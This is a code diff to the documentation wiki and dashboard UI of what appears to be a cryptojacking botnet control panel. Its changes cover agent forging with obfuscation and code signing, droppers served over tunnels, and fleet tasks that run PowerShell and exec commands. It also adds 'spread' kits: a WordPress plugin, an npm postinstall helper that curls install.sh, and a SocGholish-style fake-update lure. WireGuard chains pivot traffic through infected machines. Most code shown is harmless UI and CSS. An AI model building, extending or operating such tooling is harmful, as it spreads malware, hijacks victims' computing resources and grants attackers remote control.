<table class="wiki-table">
|
||||||
|
<thead><tr><th>Feature</th><th>Windows</th><th>Linux</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td>Forge / compile agents</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span> — cross-compile</td></tr>
|
||||||
|
<tr><td>cloudflared auto-launch</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status stub">Stub</span> — manual tunnel</td></tr>
|
||||||
|
<tr><td>Authenticode signing</td><td><span class="wiki-status working">Working</span> signtool</td><td><span class="wiki-status working">Working</span> osslsigncode</td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</section>
|
||||||
|
|
||||||
<!-- 8. Alerts & AI -->
|
<!-- 8. Alerts & AI -->
|
||||||
<section id="alerts-ai">
|
<section id="alerts-ai">
|
||||||
<h2>Alerts & AI (Ollama)</h2>
|
<h2>Alerts & AI (Ollama)</h2>
|
||||||
@@ -613,6 +952,107 @@ go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
|
|||||||
</div>
|
</div>
|
||||||
</section>
|
</section>
|
||||||
|
|
||||||
|
<!-- 8b. Calibrate -->
|
||||||
|
<section id="calibrate">
|
||||||
|
<h2>Calibrate (Settings)</h2>
|
||||||
|
<p>
|
||||||
|
Route <code>/settings</code> — server-side defaults and fleet policy. Changes here affect <strong>new</strong>
|
||||||
|
Forge forms and live server behaviour; already-forged agents keep baked settings until re-forged (except
|
||||||
|
fleet policy push and staged modules).
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<h3>Core server</h3>
|
||||||
|
<table class="wiki-table">
|
||||||
|
<thead><tr><th>Setting</th><th>Purpose</th><th>Status</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td>Listen port / data dir</td><td>Default <code>8989</code>, <code>data/</code></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>Public URL</td><td>LAN/tunnel URL for Forge + droppers</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>Dashboard subtitle</td><td>Hero text on Command Deck</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>Default wallet / pool</td><td>Seeds new Forge forms only</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>public_builds_enabled</code></td><td>Expose all builds on public API</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>max_agents</code></td><td>Reject WS auth when fleet full</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>max_build_size_mb</code></td><td>Forge API size guard</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>strict_wallet_validation</code></td><td>Server-side wallet check on forge</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>stats_retention_hours</code> / <code>build_retention_days</code></td><td>Auto-purge jobs (6h)</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>websocket_ping_seconds</code></td><td>WS hub ping interval</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>pool_reconnect_seconds</code></td><td>Stratum proxy reconnect delay</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>log_agent_connections</code> / <code>log_share_submissions</code></td><td>WS hub logging</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>log_pool_traffic</code></td><td>Verbose Stratum wire log</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>Open firewall on start</td><td>Inbound rule for listen port</td><td><span class="wiki-status windows">Windows server</span></td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<h3>Fleet alerts & tasks</h3>
|
||||||
|
<ul>
|
||||||
|
<li><strong>Fleet Alerts</strong> — offline minutes, hashrate drop %, rejection %; evaluator enforces thresholds</li>
|
||||||
|
<li><strong>Telegram + SMTP</strong> — per-event matrix; <code>POST /api/v1/alerts/test</code></li>
|
||||||
|
<li><strong>KEV exposure notify</strong> — optional ping on critical Full Sys Check indicators</li>
|
||||||
|
<li><strong>Fleet Tasks</strong> — <code>on_connect</code>, <code>on_reconnect</code>, <code>interval_hours</code>, daily <code>cron</code> (<code>HH:MM</code>)</li>
|
||||||
|
<li>Task actions: <code>sysinfo</code>, <code>full_sys_check</code>, <code>powershell</code>, <code>exec</code>, <code>pause</code>, <code>resume</code>, <code>restart</code></li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<h3>Fleet policy & staged modules</h3>
|
||||||
|
<ul>
|
||||||
|
<li><strong>Fleet Policy</strong> — <code>PUT /api/v1/fleet/policy</code> pushes <code>mining_mode</code>, schedule, <code>max_cpu_usage_pct</code>, optional pool overrides live</li>
|
||||||
|
<li><strong>Staged Modules</strong> — <code>POST /api/v1/fleet/modules/push</code> queues <code>fetch_module</code> for Crucible Ops / Spread / GPU packs</li>
|
||||||
|
<li>Manifests in <code>data/modules/*.json</code> — HMAC-signed with fleet secret</li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<h3>Tunnels & signing defaults</h3>
|
||||||
|
<ul>
|
||||||
|
<li><strong>Cloudflare Tunnel Token</strong> — saved to <code>config.json</code> + <code>data/cloudflared-token.txt</code>; server starts <code>cloudflared tunnel run</code> on launch (<span class="wiki-status windows">Windows server auto-launch</span>; Linux server stub)</li>
|
||||||
|
<li><strong>tunnel_defaults.cloudflared_target_url</strong> — defaults from <code>server.public_url</code></li>
|
||||||
|
<li><strong>Forge pipeline</strong> — garble default, Authenticode thumbprint, timestamp URL, signtool path</li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<h3>Users & backup</h3>
|
||||||
|
<ul>
|
||||||
|
<li><strong>Users</strong> — bcrypt in <code>data/users.json</code>; <code>POST /api/v1/users</code> adds accounts</li>
|
||||||
|
<li><strong>Fleet secret rotation</strong> — <code>POST /api/v1/server/rotate-secret</code> kicks agents; re-forge required</li>
|
||||||
|
<li><strong>Deck backup</strong> — <code>GET /api/v1/backup</code> ZIP (config + DB + users)</li>
|
||||||
|
<li><strong>Operator audit</strong> — <code>GET /api/v1/audit</code> (last 50 actions)</li>
|
||||||
|
</ul>
|
||||||
|
<p>Inline field help in the UI mirrors these settings — see HelpTip icons on Forge and Calibrate forms.</p>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<!-- 8c. Path Tracer -->
|
||||||
|
<section id="path-tracer">
|
||||||
|
<h2>Path Tracer</h2>
|
||||||
|
<p>
|
||||||
|
Route <code>/pathtracer</code> — multi-hop WireGuard chain builder for reaching agents through intermediate
|
||||||
|
fleet nodes. Sessions auto-expire after <strong>2 hours</strong> with background <code>wg_teardown</code>.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<h3>Workflow</h3>
|
||||||
|
<ol>
|
||||||
|
<li>Select online fleet agents as hops (entry → middle → exit)</li>
|
||||||
|
<li><code>POST /api/v1/pathtrace/start</code> — server orchestrates <code>wg_setup</code> / <code>wg_configure</code> on each hop</li>
|
||||||
|
<li>Poll <code>GET /api/v1/pathtrace/{id}/status</code> until <code>ready</code></li>
|
||||||
|
<li>Download QR or <code>.conf</code> via <code>GET /api/v1/pathtrace/{id}/qr</code> — import into WireGuard app</li>
|
||||||
|
<li><code>DELETE /api/v1/pathtrace/{id}</code> tears down session</li>
|
||||||
|
</ol>
|
||||||
|
|
||||||
|
<h3>Topology (fixed 2026-06-04)</h3>
|
||||||
|
<ul>
|
||||||
|
<li>Hop 1 receives client peer <code>10.66.0.1/32</code></li>
|
||||||
|
<li>Single-hop chains no longer get empty peer lists</li>
|
||||||
|
<li>Multi-hop adds reverse peers on middle and exit hops</li>
|
||||||
|
<li>Hop names resolve from fleet DB <code>AgentName</code> (fallback <code>hop-N</code>)</li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<h3>Platform notes</h3>
|
||||||
|
<table class="wiki-table">
|
||||||
|
<thead><tr><th>Component</th><th>Status</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td>Windows agent <code>wg_setup</code></td><td><span class="wiki-status working">Working</span> — may auto-download WireGuard on first use</td></tr>
|
||||||
|
<tr><td>Linux/macOS agent <code>wg_setup</code></td><td><span class="wiki-status stub">Stub</span> — returns error; pre-install WireGuard manually</td></tr>
|
||||||
|
<tr><td>Server orchestration API</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>Dashboard Path Tracer page</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
<p>Pair with <code>tunnel_wireguard</code> agent command for per-node tunnels outside Path Tracer sessions.</p>
|
||||||
|
</section>
|
||||||
|
|
||||||
<!-- 9. Security & Auth -->
|
<!-- 9. Security & Auth -->
|
||||||
<section id="security-auth">
|
<section id="security-auth">
|
||||||
<h2>Security & Auth</h2>
|
<h2>Security & Auth</h2>
|
||||||
@@ -730,6 +1170,30 @@ go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
|
|||||||
<tr><td>POST</td><td><code>/api/v1/builder/wordpress-plugin-export</code></td><td>ZIP WordPress plugin for owned-site upload</td></tr>
|
<tr><td>POST</td><td><code>/api/v1/builder/wordpress-plugin-export</code></td><td>ZIP WordPress plugin for owned-site upload</td></tr>
|
||||||
<tr><td>POST</td><td><code>/api/v1/builder/npm-helper-export</code></td><td>ZIP npm postinstall helper package template</td></tr>
|
<tr><td>POST</td><td><code>/api/v1/builder/npm-helper-export</code></td><td>ZIP npm postinstall helper package template</td></tr>
|
||||||
<tr><td>WS</td><td><code>/ws/agent</code></td><td>Worker connection</td></tr>
|
<tr><td>WS</td><td><code>/ws/agent</code></td><td>Worker connection</td></tr>
|
||||||
|
<tr><td>GET</td><td><code>/api/v1/shares</code></td><td>Recent share feed</td></tr>
|
||||||
|
<tr><td>GET</td><td><code>/api/v1/dashboard/stats</code></td><td>Aggregate dashboard stats</td></tr>
|
||||||
|
<tr><td>GET</td><td><code>/api/v1/server/info</code></td><td>LAN IPs, suggested URL</td></tr>
|
||||||
|
<tr><td>GET</td><td><code>/api/v1/server/ready</code></td><td>Readiness probe</td></tr>
|
||||||
|
<tr><td>GET</td><td><code>/api/v1/ai/activity</code></td><td>AI decision log</td></tr>
|
||||||
|
<tr><td>GET</td><td><code>/api/v1/fleet/modules</code></td><td>List staged module manifests</td></tr>
|
||||||
|
<tr><td>PUT</td><td><code>/api/v1/fleet/policy</code></td><td>Push runtime mining policy</td></tr>
|
||||||
|
<tr><td>POST</td><td><code>/api/v1/fleet/modules/push</code></td><td>Queue <code>fetch_module</code></td></tr>
|
||||||
|
<tr><td>GET</td><td><code>/api/v1/agents/{id}/log</code></td><td>Agent log (90s long-poll with <code>refresh=1</code>)</td></tr>
|
||||||
|
<tr><td>PUT</td><td><code>/api/v1/agents/{id}/meta</code></td><td>Notes / tags</td></tr>
|
||||||
|
<tr><td>DELETE</td><td><code>/api/v1/agents/{id}</code></td><td>Remove agent from fleet DB</td></tr>
|
||||||
|
<tr><td>POST</td><td><code>/api/v1/builder/estimate</code></td><td>Pre-forge size/time estimate</td></tr>
|
||||||
|
<tr><td>POST</td><td><code>/api/v1/builder/path-forge</code></td><td>Batch launcher placement</td></tr>
|
||||||
|
<tr><td>GET/POST/DELETE</td><td><code>/api/v1/blueprints</code></td><td>Forge blueprint CRUD</td></tr>
|
||||||
|
<tr><td>GET/PUT</td><td><code>/api/v1/emberwake/notes</code></td><td>Shared operator notes</td></tr>
|
||||||
|
<tr><td>POST</td><td><code>/api/v1/pathtrace/start</code></td><td>Start WireGuard chain session</td></tr>
|
||||||
|
<tr><td>GET</td><td><code>/api/v1/pathtrace/{id}/status</code></td><td>Path Tracer session status</td></tr>
|
||||||
|
<tr><td>GET</td><td><code>/api/v1/pathtrace/{id}/qr</code></td><td>WireGuard QR + conf</td></tr>
|
||||||
|
<tr><td>DELETE</td><td><code>/api/v1/pathtrace/{id}</code></td><td>Teardown session</td></tr>
|
||||||
|
<tr><td>POST</td><td><code>/api/v1/server/rotate-secret</code></td><td>Rotate fleet secret</td></tr>
|
||||||
|
<tr><td>POST</td><td><code>/api/v1/users</code></td><td>Add dashboard user</td></tr>
|
||||||
|
<tr><td>GET</td><td><code>/api/v1/backup</code></td><td>Full deck backup ZIP</td></tr>
|
||||||
|
<tr><td>POST</td><td><code>/api/v1/agent/beacon</code></td><td>HTTPS beacon (fleet secret header)</td></tr>
|
||||||
|
<tr><td>GET</td><td><code>/api/download/agent-{windows,linux,mac}</code></td><td>Agent binaries for Seek / PathForge</td></tr>
|
||||||
<tr><td>WS</td><td><code>/ws/dashboard?ticket=…</code></td><td>Live dashboard feed</td></tr>
|
<tr><td>WS</td><td><code>/ws/dashboard?ticket=…</code></td><td>Live dashboard feed</td></tr>
|
||||||
</tbody>
|
</tbody>
|
||||||
</table>
|
</table>
|
||||||
@@ -834,13 +1298,19 @@ test.bat # full suite</code></pre>
|
|||||||
|
|
||||||
<h3>Spread / Emberwake gaps</h3>
|
<h3>Spread / Emberwake gaps</h3>
|
||||||
<ul>
|
<ul>
|
||||||
<li><code>spread-kit-web-publisher/</code> static templates — API export exists; branded HTML kits in progress</li>
|
<li>No built-in OAuth redirect helper or public npm/PyPI publish pipeline</li>
|
||||||
<li>No built-in OAuth redirect helper or package-registry publish pipeline</li>
|
<li>No JS fingerprint / TDS bot gate on spread landers</li>
|
||||||
|
<li>SocGholish-style fake-update HTML kit — operator supplies custom branding</li>
|
||||||
</ul>
|
</ul>
|
||||||
|
|
||||||
<h3>Server (low)</h3>
|
<h3>Server / agent (open)</h3>
|
||||||
<ul>
|
<ul>
|
||||||
<li><code>db.New</code> ignores <code>MkdirAll</code> failure</li>
|
<li><code>tunnel_stream</code> TCP reverse relay — not implemented</li>
|
||||||
|
<li>Server <code>cloudflared</code> auto-launch — Windows only; Linux server needs manual tunnel</li>
|
||||||
|
<li><code>bof_execute</code> — permanently disabled</li>
|
||||||
|
<li>Mesh P2P — default build stub; re-forge with <code>-tags p2p</code></li>
|
||||||
|
<li>Linux/macOS GPU RVN — broken (Windows miner binaries)</li>
|
||||||
|
<li><code>server/webroot</code> not auto-synced on <code>npm run build</code> — run <code>devrun.bat</code></li>
|
||||||
</ul>
|
</ul>
|
||||||
|
|
||||||
<p>See <code>PROBLEMS.md</code> for the full fixed/open tables with issue IDs (B-01–B-13, API-D01–D10, etc.).</p>
|
<p>See <code>PROBLEMS.md</code> for the full fixed/open tables with issue IDs (B-01–B-13, API-D01–D10, etc.).</p>
|
||||||
|
|||||||
58
server/web/public/docs/spread-techniques.js
Normal file
58
server/web/public/docs/spread-techniques.js
Normal file
@@ -0,0 +1,58 @@
|
|||||||
|
(function () {
|
||||||
|
const tabButtons = document.querySelectorAll('[data-spread-tab]');
|
||||||
|
const panels = document.querySelectorAll('[data-spread-panel]');
|
||||||
|
|
||||||
|
function activateTab(tabId, pushHash) {
|
||||||
|
tabButtons.forEach((btn) => {
|
||||||
|
const active = btn.getAttribute('data-spread-tab') === tabId;
|
||||||
|
btn.classList.toggle('active', active);
|
||||||
|
btn.setAttribute('aria-selected', active ? 'true' : 'false');
|
||||||
|
});
|
||||||
|
panels.forEach((panel) => {
|
||||||
|
const show = panel.getAttribute('data-spread-panel') === tabId;
|
||||||
|
panel.hidden = !show;
|
||||||
|
panel.classList.toggle('active', show);
|
||||||
|
});
|
||||||
|
if (pushHash !== false) {
|
||||||
|
history.replaceState(null, '', '#' + tabId);
|
||||||
|
}
|
||||||
|
const sub = document.getElementById(window.location.hash.slice(1));
|
||||||
|
if (sub && sub.closest('[data-spread-panel="' + tabId + '"]')) {
|
||||||
|
window.setTimeout(() => sub.scrollIntoView({ behavior: 'smooth', block: 'start' }), 60);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
tabButtons.forEach((btn) => {
|
||||||
|
btn.addEventListener('click', () => activateTab(btn.getAttribute('data-spread-tab')));
|
||||||
|
});
|
||||||
|
|
||||||
|
document.querySelectorAll('.wiki-nav a[href^="#"]').forEach((link) => {
|
||||||
|
link.addEventListener('click', (e) => {
|
||||||
|
e.preventDefault();
|
||||||
|
const id = link.getAttribute('href').slice(1);
|
||||||
|
const panel = document.querySelector('[data-spread-panel="' + id + '"]');
|
||||||
|
if (panel) {
|
||||||
|
activateTab(id);
|
||||||
|
} else {
|
||||||
|
const el = document.getElementById(id);
|
||||||
|
const tabId = el?.closest('[data-spread-panel]')?.getAttribute('data-spread-panel');
|
||||||
|
if (tabId) activateTab(tabId);
|
||||||
|
if (el) window.setTimeout(() => el.scrollIntoView({ behavior: 'smooth', block: 'start' }), 80);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
const hash = window.location.hash.slice(1);
|
||||||
|
const tabFromHash =
|
||||||
|
hash && document.querySelector('[data-spread-panel="' + hash + '"]')
|
||||||
|
? hash
|
||||||
|
: hash && document.getElementById(hash)
|
||||||
|
? document.getElementById(hash).closest('[data-spread-panel]')?.getAttribute('data-spread-panel')
|
||||||
|
: null;
|
||||||
|
|
||||||
|
activateTab(tabFromHash || 'overview', false);
|
||||||
|
|
||||||
|
if (hash && document.getElementById(hash)) {
|
||||||
|
window.setTimeout(() => document.getElementById(hash).scrollIntoView({ behavior: 'smooth', block: 'start' }), 120);
|
||||||
|
}
|
||||||
|
})();
|
||||||
@@ -411,6 +411,109 @@ mark.wiki-search-highlight {
|
|||||||
line-height: 180px;
|
line-height: 180px;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* Feature status badges (Working / Stub / Disabled) */
|
||||||
|
.wiki-status {
|
||||||
|
display: inline-block;
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.72rem;
|
||||||
|
font-weight: 600;
|
||||||
|
letter-spacing: 0.04em;
|
||||||
|
text-transform: uppercase;
|
||||||
|
padding: 0.12rem 0.45rem;
|
||||||
|
border-radius: 3px;
|
||||||
|
border: 1px solid transparent;
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.wiki-status.working {
|
||||||
|
color: var(--neon-green);
|
||||||
|
border-color: rgba(46, 232, 16, 0.35);
|
||||||
|
background: rgba(46, 232, 16, 0.08);
|
||||||
|
}
|
||||||
|
|
||||||
|
.wiki-status.partial {
|
||||||
|
color: var(--neon-amber);
|
||||||
|
border-color: rgba(232, 152, 48, 0.35);
|
||||||
|
background: rgba(232, 152, 48, 0.08);
|
||||||
|
}
|
||||||
|
|
||||||
|
.wiki-status.windows {
|
||||||
|
color: var(--neon-cyan);
|
||||||
|
border-color: rgba(0, 232, 245, 0.3);
|
||||||
|
background: rgba(0, 232, 245, 0.06);
|
||||||
|
}
|
||||||
|
|
||||||
|
.wiki-status.stub,
|
||||||
|
.wiki-status.disabled {
|
||||||
|
color: var(--text-muted);
|
||||||
|
border-color: rgba(94, 88, 104, 0.5);
|
||||||
|
background: rgba(94, 88, 104, 0.12);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Spread techniques tabbed playbook */
|
||||||
|
.spread-tab-bar {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 0.35rem;
|
||||||
|
margin: 0 0 1.25rem;
|
||||||
|
padding-bottom: 0.75rem;
|
||||||
|
border-bottom: 1px solid var(--border-brass);
|
||||||
|
}
|
||||||
|
|
||||||
|
.spread-tab {
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.72rem;
|
||||||
|
letter-spacing: 0.04em;
|
||||||
|
text-transform: uppercase;
|
||||||
|
padding: 0.4rem 0.7rem;
|
||||||
|
border: 1px solid var(--border-brass);
|
||||||
|
border-radius: 4px;
|
||||||
|
background: var(--bg-panel);
|
||||||
|
color: var(--text-secondary);
|
||||||
|
cursor: pointer;
|
||||||
|
transition: border-color 0.15s, color 0.15s, box-shadow 0.15s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.spread-tab:hover {
|
||||||
|
color: var(--neon-cyan);
|
||||||
|
border-color: var(--border-neon);
|
||||||
|
}
|
||||||
|
|
||||||
|
.spread-tab.active {
|
||||||
|
color: var(--neon-cyan);
|
||||||
|
border-color: var(--neon-cyan);
|
||||||
|
box-shadow: 0 0 12px rgba(0, 232, 245, 0.15);
|
||||||
|
}
|
||||||
|
|
||||||
|
.spread-panel[hidden] {
|
||||||
|
display: none !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.spread-panel h3 {
|
||||||
|
margin-top: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.spread-steps {
|
||||||
|
margin: 0 0 1rem;
|
||||||
|
padding-left: 1.25rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.spread-steps li {
|
||||||
|
margin-bottom: 0.45rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.spread-deck-link {
|
||||||
|
display: inline-block;
|
||||||
|
margin-top: 0.5rem;
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.82rem;
|
||||||
|
color: var(--neon-amber);
|
||||||
|
}
|
||||||
|
|
||||||
|
.spread-deck-link:hover {
|
||||||
|
color: var(--neon-cyan);
|
||||||
|
}
|
||||||
|
|
||||||
@media (max-width: 768px) {
|
@media (max-width: 768px) {
|
||||||
.wiki-sidebar {
|
.wiki-sidebar {
|
||||||
position: relative;
|
position: relative;
|
||||||
|
|||||||
@@ -16,7 +16,7 @@
|
|||||||
<a href="#campaigns">Campaigns</a>
|
<a href="#campaigns">Campaigns</a>
|
||||||
<a href="#cms">CMS upload</a>
|
<a href="#cms">CMS upload</a>
|
||||||
<a href="#plugins">Plugins</a>
|
<a href="#plugins">Plugins</a>
|
||||||
<a href="/docs/SPREAD_TECHNIQUES.md">Docs wiki</a>
|
<a href="/docs/SPREAD_TECHNIQUES.html">Spread playbook</a>
|
||||||
</div>
|
</div>
|
||||||
</nav>
|
</nav>
|
||||||
|
|
||||||
@@ -169,7 +169,8 @@
|
|||||||
<p>
|
<p>
|
||||||
<span class="tag">Tip</span>
|
<span class="tag">Tip</span>
|
||||||
See <a href="campaigns/README.md">campaigns/README.md</a> in the kit ZIP for rotation playbooks.
|
See <a href="campaigns/README.md">campaigns/README.md</a> in the kit ZIP for rotation playbooks.
|
||||||
Full matrix: <a href="/docs/SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a>.
|
Operator playbook: <a href="/docs/SPREAD_TECHNIQUES.html">Spread Techniques</a>
|
||||||
|
· research matrix: <a href="/docs/SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a>.
|
||||||
</p>
|
</p>
|
||||||
</section>
|
</section>
|
||||||
|
|
||||||
@@ -230,7 +231,7 @@
|
|||||||
<p>
|
<p>
|
||||||
Registry compromise (npm/PyPI typosquat) is out of scope — this kit is for assets and update channels
|
Registry compromise (npm/PyPI typosquat) is out of scope — this kit is for assets and update channels
|
||||||
<em>you</em> operate. See
|
<em>you</em> operate. See
|
||||||
<a href="/docs/SPREAD_TECHNIQUES.md#third-party-platforms">third-party platforms</a> in the docs wiki for risk notes.
|
<a href="/docs/SPREAD_TECHNIQUES.html#third-party">third-party platforms</a> in the spread playbook for risk notes.
|
||||||
</p>
|
</p>
|
||||||
</section>
|
</section>
|
||||||
|
|
||||||
|
|||||||
@@ -123,9 +123,18 @@ export default function GlowParticles({ weather = DEFAULT_PAGE_WEATHER }: GlowPa
|
|||||||
resize();
|
resize();
|
||||||
window.addEventListener('resize', resize);
|
window.addEventListener('resize', resize);
|
||||||
|
|
||||||
const tick = () => {
|
let paused = document.visibilityState === 'hidden';
|
||||||
if (document.hidden) {
|
const onVis = () => {
|
||||||
|
paused = document.visibilityState === 'hidden';
|
||||||
|
if (!paused && !rafRef.current) {
|
||||||
rafRef.current = requestAnimationFrame(tick);
|
rafRef.current = requestAnimationFrame(tick);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
document.addEventListener('visibilitychange', onVis);
|
||||||
|
|
||||||
|
const tick = () => {
|
||||||
|
if (paused) {
|
||||||
|
rafRef.current = 0;
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -182,6 +191,7 @@ export default function GlowParticles({ weather = DEFAULT_PAGE_WEATHER }: GlowPa
|
|||||||
rafRef.current = requestAnimationFrame(tick);
|
rafRef.current = requestAnimationFrame(tick);
|
||||||
|
|
||||||
return () => {
|
return () => {
|
||||||
|
document.removeEventListener('visibilitychange', onVis);
|
||||||
window.removeEventListener('resize', resize);
|
window.removeEventListener('resize', resize);
|
||||||
cancelAnimationFrame(rafRef.current);
|
cancelAnimationFrame(rafRef.current);
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
import { memo } from 'react';
|
||||||
import {
|
import {
|
||||||
Area,
|
Area,
|
||||||
AreaChart,
|
AreaChart,
|
||||||
@@ -32,17 +33,17 @@ interface HashrateChartProps {
|
|||||||
const GRAD_IDS = ['cyan', 'magenta', 'amber', 'green', 'purple'] as const;
|
const GRAD_IDS = ['cyan', 'magenta', 'amber', 'green', 'purple'] as const;
|
||||||
|
|
||||||
function colorToId(color: string): string {
|
function colorToId(color: string): string {
|
||||||
if (color.includes('f5ff') || color.includes('06b6d4') || color === '#00f5ff') return 'cyan';
|
if (color.includes('f5ff') || color.includes('06b6d4') || color === '#00f5ff' || color.includes('neon-cyan')) return 'cyan';
|
||||||
if (color.includes('2da6') || color.includes('8b5cf6')) return 'magenta';
|
if (color.includes('2da6') || color.includes('8b5cf6')) return 'magenta';
|
||||||
if (color.includes('b020') || color.includes('eab308')) return 'amber';
|
if (color.includes('b020') || color.includes('eab308')) return 'amber';
|
||||||
if (color.includes('39ff') || color.includes('22c55e')) return 'green';
|
if (color.includes('39ff') || color.includes('22c55e')) return 'green';
|
||||||
return 'purple';
|
return 'purple';
|
||||||
}
|
}
|
||||||
|
|
||||||
export default function HashrateChart({
|
function HashrateChart({
|
||||||
data,
|
data,
|
||||||
title,
|
title,
|
||||||
color = '#00f5ff',
|
color = 'var(--neon-cyan)',
|
||||||
unit = 'H/s',
|
unit = 'H/s',
|
||||||
height = 280,
|
height = 280,
|
||||||
displayMode = 'live',
|
displayMode = 'live',
|
||||||
@@ -187,3 +188,5 @@ function formatFull(v: number, unit: string): string {
|
|||||||
}
|
}
|
||||||
return `${v.toFixed(1)}${unit}`;
|
return `${v.toFixed(1)}${unit}`;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export default memo(HashrateChart);
|
||||||
|
|||||||
@@ -177,15 +177,13 @@ export default function SupplyChainExportWizard({
|
|||||||
|
|
||||||
return (
|
return (
|
||||||
<>
|
<>
|
||||||
<div className="spread-section spread-section--violet supply-chain-wizard operator-deck-card operator-interactive">
|
<div className="supply-chain-wizard">
|
||||||
<div className="supply-chain-wizard-header">
|
<div className="supply-chain-wizard-header">
|
||||||
<h3>Supply-chain export wizard</h3>
|
|
||||||
<p className="form-hint" style={{ margin: 0 }}>
|
<p className="form-hint" style={{ margin: 0 }}>
|
||||||
WordPress plugin ZIP (<code>/get?c=wp-{'{site}'}</code>) or npm helper (postinstall curls{' '}
|
|
||||||
<code>install.sh</code>).{' '}
|
|
||||||
<a href={wikiUrl} target="_blank" rel="noreferrer">
|
<a href={wikiUrl} target="_blank" rel="noreferrer">
|
||||||
Wiki playbook §
|
{family === 'wordpress' ? 'WordPress playbook' : 'npm helper playbook'}
|
||||||
</a>
|
</a>
|
||||||
|
{' '}for hosting steps after export.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -228,7 +226,7 @@ export default function SupplyChainExportWizard({
|
|||||||
<div className="supply-chain-step-panel">
|
<div className="supply-chain-step-panel">
|
||||||
{step === 'pick-build' && (
|
{step === 'pick-build' && (
|
||||||
<>
|
<>
|
||||||
<p className="form-hint">Choose the pinned build embedded in the export artifact.</p>
|
<p className="form-hint">Uses Build A from campaign setup above unless you change it here.</p>
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label" htmlFor="sc-build">Build (pin)</label>
|
<label className="label" htmlFor="sc-build">Build (pin)</label>
|
||||||
<select
|
<select
|
||||||
@@ -257,6 +255,7 @@ export default function SupplyChainExportWizard({
|
|||||||
|
|
||||||
{step === 'configure' && (
|
{step === 'configure' && (
|
||||||
<>
|
<>
|
||||||
|
<p className="form-hint">Synced with campaign setup — edit here or above.</p>
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label" htmlFor="sc-server">Command deck URL</label>
|
<label className="label" htmlFor="sc-server">Command deck URL</label>
|
||||||
<input
|
<input
|
||||||
@@ -343,7 +342,7 @@ export default function SupplyChainExportWizard({
|
|||||||
: 'Export npm package template ZIP'}
|
: 'Export npm package template ZIP'}
|
||||||
</button>
|
</button>
|
||||||
<a className="btn btn-outline btn-sm" href={wikiUrl} target="_blank" rel="noreferrer">
|
<a className="btn btn-outline btn-sm" href={wikiUrl} target="_blank" rel="noreferrer">
|
||||||
Read wiki §
|
Read playbook
|
||||||
</a>
|
</a>
|
||||||
</div>
|
</div>
|
||||||
</>
|
</>
|
||||||
|
|||||||
@@ -33,7 +33,7 @@
|
|||||||
border-radius: 50%;
|
border-radius: 50%;
|
||||||
}
|
}
|
||||||
|
|
||||||
.agent-glow { background: #00e5ff; box-shadow: 0 0 10px #00e5ff, 0 0 20px #00e5ff; }
|
.agent-glow { background: var(--neon-cyan); box-shadow: 0 0 10px var(--neon-cyan), 0 0 20px var(--neon-cyan); }
|
||||||
.fleet-glow { background: #ff00ff; box-shadow: 0 0 10px #ff00ff, 0 0 20px #ff00ff; }
|
